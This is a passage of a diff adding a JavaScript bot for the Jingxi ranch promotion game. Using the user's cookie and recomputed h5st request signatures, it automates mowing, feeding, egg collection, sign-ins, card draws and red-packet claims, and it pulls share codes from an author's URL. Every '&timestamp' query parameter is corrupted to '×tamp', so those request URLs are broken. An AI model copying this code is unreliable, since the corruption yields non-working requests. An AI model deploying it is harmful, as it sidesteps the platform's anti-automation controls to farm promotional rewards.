{ + console.log(`开始抽奖`) + for (let i = $.GetCardInfo.times; i > 0; i--) { + await $.wait(2000) + await takeGetRequest('DrawCard'); + } + console.log('') + } + } + console.log("查看宠物信息") + if (!petNum) { + console.log(`你的鸡都生完蛋跑掉啦!!`) + await buyNewPet(true) + } + for (let i = 0; i < petNum; i++) { + $.onepetInfo = $.homeInfo.petinfo[i]; + const { bornvalue, progress, strong, type, stage } = $.onepetInfo + switch (stage) { + case 1: + console.log(`这里有一只幼年${petInfo[type].name},成长进度:${progress}%`) + break + case 2: + console.log(`这里有一只青年${petInfo[type].name},生蛋进度:${bornvalue}/${strong},成长进度:${progress}%`) + break + case 4: + console.log(`这里有一只壮年${petInfo[type].name},离家出走进度(生蛋进度):${bornvalue}/${strong}`) + break + default: + console.log(`这里有一只不知道什么状态的鸡:${JSON.stringify($.onepetInfo)}`) + } + $.petidList.push($.onepetInfo.petid); + if ($.onepetInfo.cangetborn === 1) { + console.log(`开始收鸡蛋`); + await takeGetRequest('GetEgg'); + await $.wait(1000); + } + } + $.crowInfo = $.homeInfo.cow; + } + $.GetVisitBackInfo = {}; + await $.wait(2000); + await takeGetRequest('GetVisitBackInfo'); + if ($.GetVisitBackInfo.iscandraw === 1) { + await $.wait(2000); + await takeGetRequest('GetVisitBackCabbage'); + } + await $.wait(2000); + $.GetSignInfo = {}; + await takeGetRequest('GetSignInfo'); + if (JSON.stringify($.GetSignInfo) !== '{}' && $.GetSignInfo.signlist) { + let signList = $.GetSignInfo.signlist; + for (let j = 0; j < signList.length; j++) { + if (signList[j].fortoday && !signList[j].hasdone) { + await $.wait(2000); + console.log(`\n去签到`); + await takeGetRequest('GetSignReward'); + } + } + } + await $.wait(2000); + if ($.crowInfo.lastgettime) { + console.log('\n收奶牛金币'); + await takeGetRequest('cow'); + await $.wait(2000); + } + await $.wait(2000); + await takeGetRequest('GetUserLoveInfo'); + if ($.GetUserLoveInfo) { + for (let key of Object.keys($.GetUserLoveInfo)) { + let vo = $.GetUserLoveInfo[key] + if (vo.drawstatus === 1) { + await $.wait(2000); + $.lovevalue = vo.lovevalue; + await takeGetRequest('DrawLoveHongBao'); + } + } + } + $.taskList = [], $.dateType = ``, $.source = `jxmc`, $.bizCode = `jxmc`; + for (let j = 2; j >= 0; j--) { + if (j === 0) { + $.dateType = ``; + } else { + $.dateType = j; + } + await takeGetRequest('GetUserTaskStatusList'); + await $.wait(2000); + await doTask(j); + await $.wait(2000); + if (j === 2) { + //割草 + console.log(`\n开始进行割草`); + $.runFlag = true; + for (let i = 0; i < 30 && $.runFlag; i++) { + $.mowingInfo = {}; + console.log(`开始第${i + 1}次割草`); + await takeGetRequest('mowing'); + await $.wait(2000); + if ($.mowingInfo.surprise === true) { + //除草礼盒 + console.log(`领取除草礼盒`); + await takeGetRequest('GetSelfResult'); + await $.wait(3000); + } + } + + //横扫鸡腿 + $.runFlag = true; + console.log(`\n开始进行横扫鸡腿`); + for (let i = 0; i < 30 && $.runFlag; i++) { + console.log(`开始第${i + 1}次横扫鸡腿`); + await takeGetRequest('jump'); + await $.wait(2000); + } + } + } + if ($.GetUserLoveInfo) { + $.taskList = [], $.dateType = `2`, $.source = `jxmc_zanaixin`, $.bizCode = `jxmc_zanaixin`; + for (let j = 2; j >= 0; j--) { + await takeGetRequest('GetUserTaskStatusList'); + await $.wait(2000); + await doTask(j); + await $.wait(2000); + } + } + + await takeGetRequest('GetHomePageInfo'); + await $.wait(2000); + let materialNumber = 0; + let materialinfoList = $.homeInfo.materialinfo; + for (let j = 0; j < materialinfoList.length; j++) { + if (materialinfoList[j].type !== 1) { + continue; + } + materialNumber = Number(materialinfoList[j].value);//白菜数量 + } + if (Number($.homeInfo.coins) > 5000) { + let canBuyTimes = Math.floor(Number($.homeInfo.coins) / 5000); + console.log(`\n共有金币${$.homeInfo.coins},可以购买${canBuyTimes}次白菜`); + if (Number(materialNumber) < 400) { + for (let j = 0; j < canBuyTimes && j < 4; j++) { + console.log(`第${j + 1}次购买白菜`); + await takeGetRequest('buy'); + await $.wait(2000); + } + await takeGetRequest('GetHomePageInfo'); + await $.wait(2000); + } else { + console.log(`现有白菜${materialNumber},大于400颗,不进行购买`); + } + } else { + console.log(`\n共有金币${$.homeInfo.coins}`); + } + materialinfoList = $.homeInfo.materialinfo; + for (let j = 0; j < materialinfoList.length; j++) { + if (materialinfoList[j].type !== 1) { + continue; + } + if (Number(materialinfoList[j].value) > 10) { + $.canFeedTimes = Math.floor(Number(materialinfoList[j].value) / 10); + console.log(`\n共有白菜${materialinfoList[j].value}颗,每次喂10颗,可以喂${$.canFeedTimes}次`); + $.runFeed = true; + for (let k = 0; k < $.canFeedTimes && $.runFeed && k < 40; k++) { + $.pause = false; + console.log(`开始第${k + 1}次喂白菜`); + await takeGetRequest('feed'); + await $.wait(4000); + if ($.pause) { + await takeGetRequest('GetHomePageInfo'); + await $.wait(1000); + for (let n = 0; n < $.homeInfo.petinfo.length; n++) { + $.onepetInfo = $.homeInfo.petinfo[n]; + if ($.onepetInfo.cangetborn === 1) { + console.log(`开始收鸡蛋`); + await takeGetRequest('GetEgg'); + await $.wait(1000); + } + } + } + } + } + } + } catch (e) { + $.logErr(e) + } +} + +async function buyNewPet(isHungery = false) { + let weightsTemp = -1, nameTemp = "" + for (let key in petInfo) { + const onePet = petInfo[key] + const { name, price, weights } = onePet + if (price <= $.coins) { + if (weights > weightsTemp) { + weightsTemp = weights, nameTemp = name + $.petType = key + } + } + } + if (weightsTemp !== -1) { + await buy() + if (!isHungery) await buyNewPet() + } else { + console.log("你目前没有金币可以直接购买鸡") + } + async function buy() { + console.log("去买" + nameTemp) + await takeGetRequest("BuyNew") + } +} + +async function doTask(j) { + for (let i = 0; i < $.taskList.length; i++) { + $.oneTask = $.taskList[i]; + //console.log($.oneTask.taskId); + if ($.oneTask.dateType === 1) {//成就任务 + if ($.oneTask.awardStatus === 2 && $.oneTask.completedTimes === $.oneTask.targetTimes) { + console.log(`完成任务:${$.oneTask.taskName}`); + await takeGetRequest('Award'); + await $.wait(2000); + } + } else {//每日任务 + if ($.oneTask.awardStatus === 1) { + if (j === 0) { + console.log(`任务:${$.oneTask.taskName},已完成`); + } + } else if ($.oneTask.taskType === 4) { + if ($.oneTask.awardStatus === 2 && $.oneTask.completedTimes === $.oneTask.targetTimes) { + console.log(`完成任务:${$.oneTask.taskName}`); + await takeGetRequest('Award'); + await $.wait(2000); + } else if (j === 0) { + console.log(`任务:${$.oneTask.taskName},未完成`); + } + } else if ($.oneTask.awardStatus === 2 && $.oneTask.taskCaller === 1) {//浏览任务 + if (Number($.oneTask.completedTimes) > 0 && $.oneTask.completedTimes === $.oneTask.targetTimes) { + console.log(`完成任务:${$.oneTask.taskName}`); + await takeGetRequest('Award'); + await $.wait(2000); + } + for (let j = Number($.oneTask.completedTimes); j < Number($.oneTask.configTargetTimes); j++) { + console.log(`去做任务:${$.oneTask.description}`); + await takeGetRequest('DoTask'); + await $.wait(6000); + console.log(`完成任务:${$.oneTask.description}`); + await takeGetRequest('Award'); + } + } else if ($.oneTask.awardStatus === 2 && $.oneTask.completedTimes === $.oneTask.targetTimes) { + console.log(`完成任务:${$.oneTask.taskName}`); + await takeGetRequest('Award'); + await $.wait(2000); + } + } + } +} + +async function takeGetRequest(type) { + let url = ``; + let myRequest = ``; + switch (type) { + case 'GetHomePageInfo': + url = `https://m.jingxi.com/jxmc/queryservice/GetHomePageInfo?channel=7&sceneid=1001&activeid=null&activekey=${$.activekey}&isgift=1&isquerypicksite=1`; + url += `&_stk=${getStk(url)}`; + url += `&_ste=1&h5st=${decrypt(Date.now(), '', '', url)}&_=${Date.now() + 2}&sceneval=2&g_login_type=1&callback=jsonpCBK${String.fromCharCode(Math.floor(Math.random() * 26) + "A".charCodeAt(0))}&g_ty=ls`; + myRequest = getGetRequest(`GetHomePageInfo`, url); + break; + case 'GetUserTaskStatusList': + url = `https://m.jingxi.com/newtasksys/newtasksys_front/GetUserTaskStatusList?_=${Date.now() + 2}&source=${$.source}&bizCode=${$.bizCode}&dateType=${$.dateType}&showAreaTaskFlag=0&jxpp_wxapp_type=7` + url += `&_stk=${getStk(url)}` + url += `&_ste=1&h5st=${decrypt(Date.now(), '', '', url)}&sceneval=2&g_login_type=1&g_ty=ajax` + myRequest = getGetRequest(`GetUserTaskStatusList`, url); + break; + case 'mowing': //割草 + url = `https://m.jingxi.com/jxmc/operservice/Action?channel=7&sceneid=1001&activeid=${$.activeid}&activekey=${$.activekey}&type=2&jxmc_jstoken=${token['farm_jstoken']}×tamp=${token['timestamp']}&phoneid=${token['phoneid']}&_stk=channel%2Csceneid%2Ctype&_ste=1`; + url += `&h5st=${decrypt(Date.now(), '', '', url)}&_=${Date.now() + 2}&sceneval=2&g_login_type=1&callback=jsonpCBK${String.fromCharCode(Math.floor(Math.random() * 26) + "A".charCodeAt(0))}&g_ty=ls`; + myRequest = getGetRequest(`mowing`, url); + break; + case 'GetSelfResult': + url = `https://m.jingxi.com/jxmc/operservice/GetSelfResult?channel=7&sceneid=1001&activeid=${$.activeid}&activekey=${$.activekey}&type=14&jxmc_jstoken=${token['farm_jstoken']}×tamp=${token['timestamp']}&phoneid=${token['phoneid']}&itemid=undefined&_stk=channel%2Csceneid%2Ctype&_ste=1`; + url += `&h5st=${decrypt(Date.now(), '', '', url)}&_=${Date.now() + 2}&sceneval=2&g_login_type=1&callback=jsonpCBK${String.fromCharCode(Math.floor(Math.random() * 26) + "A".charCodeAt(0))}&g_ty=ls`; + myRequest = getGetRequest(`GetSelfResult`, url); + break; + case 'jump': + let sar = Math.floor((Math.random() * $.petidList.length)); + url = `https://m.jingxi.com/jxmc/operservice/Action?channel=7&sceneid=1001&activeid=${$.activeid}&activekey=${$.activekey}&type=1&jxmc_jstoken=${token['farm_jstoken']}×tamp=${token['timestamp']}&phoneid=${token['phoneid']}&petid=${$.petidList[sar]}&_stk=channel%2Cpetid%2Csceneid%2Ctype&_ste=1` + url += `&h5st=${decrypt(Date.now(), '', '', url)}&_=${Date.now() + 2}&sceneval=2&g_login_type=1&callback=jsonpCBK${String.fromCharCode(Math.floor(Math.random() * 26) + "A".charCodeAt(0))}&g_ty=ls`; + myRequest = getGetRequest(`jump`, url); + break; + case 'DoTask': + url = `https://m.jingxi.com/newtasksys/newtasksys_front/DoTask?_=${Date.now() + 2}&source=${$.source}&taskId=${$.oneTask.taskId}&bizCode=${$.bizCode}&configExtra=`; + url += `&_stk=${getStk(url)}`; + url += `&_ste=1&h5st=${decrypt(Date.now(), '', '', url)}&sceneval=2&g_login_type=1&g_ty=ajax`; + myRequest = getGetRequest(`DoTask`, url); + break; + case 'Award': + url = `https://m.jingxi.com/newtasksys/newtasksys_front/Award?_=${Date.now() + 2}&source=${$.source}&taskId=${$.oneTask.taskId}&bizCode=${$.bizCode}`; + url += `&_stk=${getStk(url)}`; + url += `&_ste=1&h5st=${decrypt(Date.now(), '', '', url)}&sceneval=2&g_login_type=1&g_ty=ajax`; + myRequest = getGetRequest(`Award`, url); + break; + case 'cow': + url = `https://m.jingxi.com/jxmc/operservice/GetCoin?channel=7&sceneid=1001&activeid=${$.activeid}&activekey=${$.activekey}&token=${A($.crowInfo.lastgettime)}&jxmc_jstoken=${token['farm_jstoken']}×tamp=${token['timestamp']}&phoneid=${token['phoneid']}&_stk=channel%2Csceneid%2Ctoken&_ste=1`; + url += `&h5st=${decrypt(Date.now(), '', '', url)}&_=${Date.now() + 2}&sceneval=2&g_login_type=1&callback=jsonpCBK${String.fromCharCode(Math.floor(Math.random() * 26) + "A".charCodeAt(0))}&g_ty=ls`; + myRequest = getGetRequest(`cow`, url); + break; + case 'buy': + url = `https://m.jingxi.com/jxmc/operservice/Buy?channel=7&sceneid=1001&activeid=${$.activeid}&activekey=${$.activekey}&type=1&jxmc_jstoken=${token['farm_jstoken']}×tamp=${token['timestamp']}&phoneid=${token['phoneid']}&_stk=channel%2Csceneid%2Ctype&_ste=1`; + url += `&h5st=${decrypt(Date.now(), '', '', url)}&_=${Date.now() + 2}&sceneval=2&g_login_type=1&callback=jsonpCBK${String.fromCharCode(Math.floor(Math.random() * 26) + "A".charCodeAt(0))}&g_ty=ls`; + myRequest = getGetRequest(`cow`, url); + break; + case 'feed': + url = `https://m.jingxi.com/jxmc/operservice/Feed?channel=7&sceneid=1001&activeid=${$.activeid}&activekey=${$.activekey}&jxmc_jstoken=${token['farm_jstoken']}×tamp=${token['timestamp']}&phoneid=${token['phoneid']}&_stk=channel%2Csceneid&_ste=1`; + url += `&h5st=${decrypt(Date.now(), '', '', url)}&_=${Date.now() + 2}&sceneval=2&g_login_type=1&callback=jsonpCBK${String.fromCharCode(Math.floor(Math.random() * 26) + "A".charCodeAt(0))}&g_ty=ls`; + myRequest = getGetRequest(`cow`, url); + break; + case 'GetEgg': + url = `https://m.jingxi.com/jxmc/operservice/GetSelfResult?channel=7&sceneid=1001&activeid=${$.activeid}&activekey=${$.activekey}&type=11&jxmc_jstoken=${token['farm_jstoken']}×tamp=${token['timestamp']}&phoneid=${token['phoneid']}&itemid=${$.onepetInfo.petid}&_stk=channel%2Citemid%2Csceneid%2Ctype&_ste=1`; + url += `&h5st=${decrypt(Date.now(), '', '', url)}&_=${Date.now() + 2}&sceneval=2&g_login_type=1&callback=jsonpCBK${String.fromCharCode(Math.floor(Math.random() * 26) + "A".charCodeAt(0))}&g_ty=ls`; + myRequest = getGetRequest(`GetEgg`, url); + break; + case 'help': + url = `https://m.jingxi.com/jxmc/operservice/EnrollFriend?sharekey=${$.code}&channel=7&sceneid=1001&activeid=${$.activeid}&activekey=${$.activekey}&jxmc_jstoken=${token['farm_jstoken']}×tamp=${token['timestamp']}&phoneid=${token['phoneid']}&_stk=channel%2Csceneid%2Csharekey&_ste=1`; + url += `&h5st=${decrypt(Date.now(), '', '', url)}&_=${Date.now() + 2}&sceneval=2&g_login_type=1&callback=jsonpCBK${String.fromCharCode(Math.floor(Math.random() * 26) + "A".charCodeAt(0))}&g_ty=ls`; + myRequest = getGetRequest(`help`, url); + break; + case 'GetVisitBackInfo': + url = `https://m.jingxi.com/jxmc/queryservice/GetVisitBackInfo?channel=7&sceneid=1001&activeid=${$.activeid}&activekey=${$.activekey}&_stk=channel%2Csceneid&_ste=1`; + url += `&h5st=${decrypt(Date.now(), '', '', url)}&_=${Date.now() + 2}&sceneval=2&g_login_type=1&callback=jsonpCBK${String.fromCharCode(Math.floor(Math.random() * 26) + "A".charCodeAt(0))}&g_ty=ls`; + myRequest = getGetRequest(`GetVisitBackInfo`, url); + break; + case 'GetVisitBackCabbage': + url = `https://m.jingxi.com/jxmc/operservice/GetVisitBackCabbage?channel=7&sceneid=1001&activeid=${$.activeid}&activekey=${$.activekey}&jxmc_jstoken=${token['farm_jstoken']}×tamp=${token['timestamp']}&phoneid=${token['phoneid']}&_stk=channel%2Csceneid&_ste=1`; + url += `&h5st=${decrypt(Date.now(), '', '', url)}&_=${Date.now() + 2}&sceneval=2&g_login_type=1&callback=jsonpCBK${String.fromCharCode(Math.floor(Math.random() * 26) + "A".charCodeAt(0))}&g_ty=ls`; + myRequest = getGetRequest(`GetVisitBackCabbage`, url); + break; + case 'GetSignInfo': + url = `https://m.jingxi.com/jxmc/queryservice/GetSignInfo?channel=7&sceneid=1001&activeid=${$.activeid}&activekey=${$.activekey}&jxmc_jstoken=${token['farm_jstoken']}×tamp=${token['timestamp']}&phoneid=${token['phoneid']}&_stk=activeid%2Cactivekey%2Cchannel%2Cjxmc_jstoken%2Cphoneid%2Csceneid%2Ctimestamp&_ste=1`; + url += `&h5st=${decrypt(Date.now(), '', '', url)}&_=${Date.now() + 2}&sceneval=2&g_login_type=1&callback=jsonpCBK${String.fromCharCode(Math.floor(Math.random() * 26) + "A".charCodeAt(0))}&g_ty=ls`; + myRequest = getGetRequest(`GetSignInfo`, url); + break; + case 'GetSignReward': + url = `https://m.jingxi.com/jxmc/operservice/GetSignReward?channel=7&sceneid=1001&activeid=${$.activeid}&activekey=${$.activekey}&currdate=${$.GetSignInfo.currdate}&jxmc_jstoken=${token['farm_jstoken']}×tamp=${token['timestamp']}&phoneid=${token['phoneid']}&_stk=activeid%2Cactivekey%2Cchannel%2Ccurrdate%2Cjxmc_jstoken%2Cphoneid%2Csceneid%2Ctimestamp&_ste=1`; + url += `&h5st=${decrypt(Date.now(), '', '', url)}&_=${Date.now() + 2}&sceneval=2&g_login_type=1&callback=jsonpCBK${String.fromCharCode(Math.floor(Math.random() * 26) + "A".charCodeAt(0))}&g_ty=ls`; + myRequest = getGetRequest(`GetSignReward`, url); + break; + case 'DoMainTask': + url = `https://m.jingxi.com/jxmc/operservice/DoMainTask?channel=7&sceneid=1001&activeid=${$.activeid}&activekey=${$.activekey}&step=${$.step}&jxmc_jstoken=${token['farm_jstoken']}×tamp=${token['timestamp']}&phoneid=${token['phoneid']}`; + url += `&_stk=${getStk(url)}`; + url += `&_ste=1&h5st=${decrypt(Date.now(), '', '', url)}&_=${Date.now() + 2}&sceneval=2&g_login_type=1&callback=jsonpCBK${String.fromCharCode(Math.floor(Math.random() * 26) + "A".charCodeAt(0))}&g_ty=ls`; + myRequest = getGetRequest(`DoMainTask`, url); + break; + case 'GetCardInfo': + url = `https://m.jingxi.com/jxmc/queryservice/GetCardInfo?channel=7&sceneid=1001&activeid=${$.activeid}&activekey=${$.activekey}&jxmc_jstoken=${token['farm_jstoken']}×tamp=${token['timestamp']}&phoneid=${token['phoneid']}&_stk=activeid%2Cactivekey%2Cchannel%2Cjxmc_jstoken%2Cphoneid%2Csceneid%2Ctimestamp&_ste=1` + url += `&h5st=${decrypt(Date.now(), '', '', url)}&_=${Date.now() + 2}&sceneval=2&g_login_type=1&callback=jsonpCBK${String.fromCharCode(Math.floor(Math.random() * 26) + "A".charCodeAt(0))}&g_ty=ls`; + myRequest = getGetRequest(`GetCardInfo`, url); + break; + case 'DrawCard': + url = `https://m.jingxi.com/jxmc/operservice/DrawCard?channel=7&sceneid=1001&activeid=${$.activeid}&activekey=${$.activekey}&jxmc_jstoken=${token['farm_jstoken']}×tamp=${token['timestamp']}&phoneid=${token['phoneid']}&_stk=activeid%2Cactivekey%2Cchannel%2Cjxmc_jstoken%2Cphoneid%2Csceneid%2Ctimestamp&_ste=1` + url += `&h5st=${decrypt(Date.now(), '', '', url)}&_=${Date.now() + 2}&sceneval=2&g_login_type=1&callback=jsonpCBK${String.fromCharCode(Math.floor(Math.random() * 26) + "A".charCodeAt(0))}&g_ty=ls`; + myRequest = getGetRequest(`DrawCard`, url); + break; + case 'Combine': + url = `https://m.jingxi.com/jxmc/operservice/Combine?channel=7&sceneid=1001&type=2&activeid=${$.activeid}&activekey=${$.activekey}&cardtype=${$.cardType}&jxmc_jstoken=${token['farm_jstoken']}×tamp=${token['timestamp']}&phoneid=${token['phoneid']}`; + url += `&_stk=${getStk(url)}`; + url += `&_ste=1&h5st=${decrypt(Date.now(), '', '', url)}&_=${Date.now() + 2}&sceneval=2&g_login_type=1&callback=jsonpCBK${String.fromCharCode(Math.floor(Math.random() * 26) + "A".charCodeAt(0))}&g_ty=ls`; + myRequest = getGetRequest(`Combine`, url); + break; + case 'BuyNew': + url = `https://m.jingxi.com/jxmc/operservice/BuyNew?channel=7&sceneid=1001&activeid=${$.activeid}&activekey=${$.activekey}&type=${$.petType}&jxmc_jstoken=${token['farm_jstoken']}×tamp=${token['timestamp']}&phoneid=${token['phoneid']}`; + url += `&_stk=${getStk(url)}`; + url += `&_ste=1&h5st=${decrypt(Date.now(), '', '', url)}&_=${Date.now() + 2}&sceneval=2&g_login_type=1&callback=jsonpCBK${String.fromCharCode(Math.floor(Math.random() * 26) + "A".charCodeAt(0))}&g_ty=ls`; + myRequest = getGetRequest(`BuyNew`, url); + break; + case 'GetUserLoveInfo': + url = `https://m.jingxi.com/jxmc/queryservice/GetUserLoveInfo?channel=7&sceneid=1001&activeid=${$.activeid}&activekey=${$.activekey}&jxmc_jstoken=${token['farm_jstoken']}×tamp=${token['timestamp']}&phoneid=${token['phoneid']}`; + url += `&_stk=${getStk(url)}`; + url += `&_ste=1&h5st=${decrypt(Date.now(), '', '', url)}&_=${Date.now() + 2}&sceneval=2&g_login_type=1&callback=jsonpCBK${String.fromCharCode(Math.floor(Math.random() * 26) + "A".charCodeAt(0))}&g_ty=ls`; + myRequest = getGetRequest(`GetUserLoveInfo`, url); + break; + case 'DrawLoveHongBao': + url = `https://m.jingxi.com/jxmc/operservice/DrawLoveHongBao?channel=7&sceneid=1001&activeid=${$.activeid}&activekey=${$.activekey}&lovevalue=${$.lovevalue}&jxmc_jstoken=${token['farm_jstoken']}×tamp=${token['timestamp']}&phoneid=${token['phoneid']}`; + url += `&_stk=${getStk(url)}`; + url += `&_ste=1&h5st=${decrypt(Date.now(), '', '', url)}&_=${Date.now() + 2}&sceneval=2&g_login_type=1&callback=jsonpCBK${String.fromCharCode(Math.floor(Math.random() * 26) + "A".charCodeAt(0))}&g_ty=ls`; + myRequest = getGetRequest(`DrawLoveHongBao`, url); + break; + default: + console.log(`错误${type}`); + } + return new Promise(async resolve => { + $.get(myRequest, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`API请求失败,请检查网路重试`) + $.runFlag = false; + console.log(`请求失败`) + } else { + dealReturn(type, data); + } + } catch (e) { + console.log(data); + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +function getStk(url) { + let arr = url.split('&').map(x => x.replace(/.*\?/, "").replace(/=.*/, "")) + return encodeURIComponent(arr.filter(x => x).sort().join(',')) +} + +function isNew(step, getNextStep = false) { + const charArr = [...Array(26).keys()].map(i => String.fromCharCode(i + 65)), + numArr = [...Array(12).keys()].map(i => i + 1) + if (getNextStep) { + const tempArr = step.split(`-`) + tempArr[0] = charArr[charArr.indexOf(tempArr[0]) + 1] + tempArr[1] = numArr[0] + return tempArr.join("-") + } + const tempArr = step.split(`-`) + if (tempArr.length < 2) return true + const num = numArr.length * (charArr.indexOf(tempArr[0])) + (+tempArr[1]), + orderArr = ['L', '6'] // 目标步骤 + const numTo = numArr.length * (charArr.indexOf(orderArr[0])) + (+orderArr[1]) + return num < numTo +} + +function dealReturn(type, data) { + switch (type) { + case 'GetHomePageInfo': + data = JSON.parse(data.match(new RegExp(/jsonpCBK.?\((.*);*/))[1]); + if (data.ret === 0) { + $.homeInfo = data.data; + $.activeid = $.homeInfo.activeid + $.activekey = $.homeInfo.activekey || null + $.coins = oc(() => $.homeInfo.coins) || 0; + if ($.homeInfo.giftcabbagevalue) { + console.log(`登陆获得白菜:${$.homeInfo.giftcabbagevalue} 颗`); + } + } else { + console.log(`获取活动信息异常:${JSON.stringify(data)}\n`); + } + break; + case 'mowing': + case 'jump': + case 'cow': + data = data.match(new RegExp(/jsonpCBK.?\((.*);*/)); + if (data && data[1]) { + data = JSON.parse(data[1]); + if (data.ret === 0) { + $.mowingInfo = data.data; + let add = ($.mowingInfo.addcoins || $.mowingInfo.addcoin) ? ($.mowingInfo.addcoins || $.mowingInfo.addcoin) : 0; + console.log(`获得金币:${add}`); + if (Number(add) > 0) { + $.runFlag = true; + } else { + $.runFlag = false; + console.log(`未获得金币暂停${type}`); + } + } + } else { + console.log(`cow 数据异常:${data}\n`); + } + break; + case 'GetSelfResult': + data = JSON.parse(data.match(new RegExp(/jsonpCBK.?\((.*);*/))[1]); + if (data.ret === 0) { + console.log(`打开除草礼盒成功`); + console.log(JSON.stringify(data)); + } + break; + case 'GetUserTaskStatusList': + data = JSON.parse(data); + if (data.ret === 0) { + $.taskList = data.data.userTaskStatusList; + } + break; + case 'Award': + data = JSON.parse(data); + if (data.ret === 0) { + console.log(`领取金币成功,获得${JSON.parse(data.data.prizeInfo).prizeInfo}`); + } + break; + case 'buy': + data = JSON.parse(data.match(new RegExp(/jsonpCBK.?\((.*);*/))[1]); + if (data.ret === 0) { + console.log(`购买成功,当前有白菜:${data.data.newnum}颗`); + } + break; + case 'feed': + data = JSON.parse(data.match(new RegExp(/jsonpCBK.?\((.*);*/))[1]); + if (data.ret === 0) { + console.log(`投喂成功`); + } else if (data.ret === 2020) { + console.log(`投喂失败,需要先收取鸡蛋`); + $.pause = true; + } else { + console.log(`投喂失败,${data.message}`); + console.log(JSON.stringify(data)); + $.runFeed = false; + } + break; + case 'GetEgg': + data = JSON.parse(data.match(new RegExp(/jsonpCBK.?\((.*);*/))[1]); + if (data.ret === 0) { + console.log(`成功收取${data.data.addnum}个蛋,现有鸡蛋${data.data.newnum}个`); + } + break; + case 'DoTask': + if (data.ret === 0) { + console.log(`执行任务成功`); + } + break; + case 'help': + data = JSON.parse(data.match(new RegExp(/jsonpCBK.?\((.*);*/))[1]); + if (data.ret === 0) { + if (data.data.result === 0) { + console.log(`助力成功`); + } else if (data.data.result === 1) { + console.log(`不能助力自己`); + } else if (data.data.result === 3) { + console.log(`该好友助力已满`); + $.delcode = true; + } else if (data.data.result === 4) { + console.log(`助力次数已用完`); + $.canHelp = false; + } else if (data.data.result === 5) { + console.log(`已经助力过此好友`); + } else { + console.log(JSON.stringify(data)) + } + } else if (data.ret === 1016) { + console.log(`活动太火爆了,还是去买买买吧~`); + $.canHelp = false; + } else { + console.log(JSON.stringify(data)) + } + break; + case 'GetVisitBackInfo': + data = JSON.parse(data.match(new RegExp(/jsonpCBK.?\((.*);*/))[1]); + if (data.ret === 0) { + $.GetVisitBackInfo = data.data; + } + //console.log(JSON.stringify(data)); + break; + case 'GetVisitBackCabbage': + data = JSON.parse(data.match(new RegExp(/jsonpCBK.?\((.*);*/))[1]); + if (data.ret === 0) { + console.log(`收取白菜成功,获得${data.data.drawnum}`); + } + break; + case 'GetSignInfo': + data = JSON.parse(data.match(new RegExp(/jsonpCBK.?\((.*);*/))[1]); + if (data.ret === 0) { + $.GetSignInfo = data.data; + } + break; + case 'GetSignReward': + data = JSON.parse(data.match(new RegExp(/jsonpCBK.?\((.*);*/))[1]); + if (data.ret === 0) { + console.log(`签到成功`); + } + break; + case 'DoMainTask': + data = JSON.parse(data.match(new RegExp(/jsonpCBK.?\((.*);*/))[1]); + if (data.ret === 0) { + $.DoMainTask = data.data; + } + break; + case 'GetCardInfo': + data = JSON.parse(data.match(new RegExp(/jsonpCBK.?\((.*);*/))[1]); + if (data.ret === 0) { + $.GetCardInfo = data.data; + } + break; + case 'DrawCard': + data = JSON.parse(data.match(new RegExp(/jsonpCBK.?\((.*);*/))[1]); + if (data.ret === 0) { + if (data.data.prizetype === 1) { + console.log(`抽奖获得:1张${cardinfo[data.data.cardtype]}卡片`) + } else if (data.data.prizetype === 2) { + console.log(`抽奖获得:${data.data.rewardinfo.prizevalue / 100}红包`) + } else if (data.data.prizetype === 3) { + console.log(`抽奖获得:${data.data.addcoins}金币`) + } else { + console.log(`抽奖获得:${JSON.stringify(data)}`) + } + } + break; + case 'Combine': + data = JSON.parse(data.match(new RegExp(/jsonpCBK.?\((.*);*/))[1]); + if (data.ret === 0) { + console.log(`兑换成功,当前小鸡数量:${data.data.currnum}`) + } else { + console.log(`Combine:${JSON.stringify(data)}`) + } + break; + case 'BuyNew': + data = JSON.parse(data.match(new RegExp(/jsonpCBK.?\((.*);*/))[1]); + if (data.ret === 0) { + const { costcoin, currnum, petid, type } = data.data + $.coins -= costcoin + console.log(`获得一只${petInfo[type].name},宠物id:${petid},当前拥有${currnum}只鸡`) + } else { + console.log(`BuyNew:${JSON.stringify(data)}`) + } + break; + case 'GetUserLoveInfo': + data = JSON.parse(data.match(new RegExp(/jsonpCBK.?\((.*);*/))[1]); + if (data.ret === 0) { + $.GetUserLoveInfo = data.data.lovelevel + } + break; + case 'DrawLoveHongBao': + data = JSON.parse(data.match(new RegExp(/jsonpCBK.?\((.*);*/))[1]); + if (data.ret === 0) { + console.log(`领取爱心奖励获得:${data.data.rewardinfo.prizevalue / 100}红包`) + } else { + console.log(`DrawLoveHongBao:${JSON.stringify(data)}`) + } + break; + default: + console.log(JSON.stringify(data)); + } +} +function getGetRequest(type, url) { + const method = `GET`; + let headers = { + "Host": "m.jingxi.com", + "Accept": "*/*", + "Accept-Encoding": "gzip, deflate, br", + "User-Agent": UA, + "Accept-Language": "zh-CN,zh-Hans;q=0.9", + "Referer": "https://st.jingxi.com/", + "Cookie": $.cookie + }; + return { url: url, method: method, headers: headers }; +} +function randomString(e) { + e = e || 32; + let t = "abcdef0123456789", a = t.length, n = ""; + for (let i = 0; i < e; i++) + n += t.charAt(Math.floor(Math.random() * a)); + return n +} + +function getAuthorShareCode(url) { + return new Promise(async resolve => { + const options = { + url: `${url}?${new Date()}`, "timeout": 10000, headers: { + "User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1 Edg/87.0.4280.88" + } + }; + if ($.isNode() && process.env.TG_PROXY_HOST && process.env.TG_PROXY_PORT) { + const tunnel = require("tunnel"); + const agent = { + https: tunnel.httpsOverHttp({ + proxy: { + host: process.env.TG_PROXY_HOST, + port: process.env.TG_PROXY_PORT * 1 + } + }) + } + Object.assign(options, { agent }) + } + $.get(options, async (err, resp, data) => { + try { + resolve(JSON.parse(data)) + } catch (e) { + // $.logErr(e, resp) + } finally { + resolve(); + } + }) + await $.wait(10000) + resolve(); + }) +} + +//格式化助力码 +function shareCodesFormat() { + return new Promise(async resolve => { + $.newShareCodes = [] + const readShareCodeRes = await readShareCode(); + if (readShareCodeRes && readShareCodeRes.code === 200) { + $.newShareCodes = [...new Set([...$.inviteCodeList, ...($.res || []), ...(readShareCodeRes.data || [])])]; + } else { + $.newShareCodes = [...new Set([...$.inviteCodeList, ...($.res || [])])]; + } + 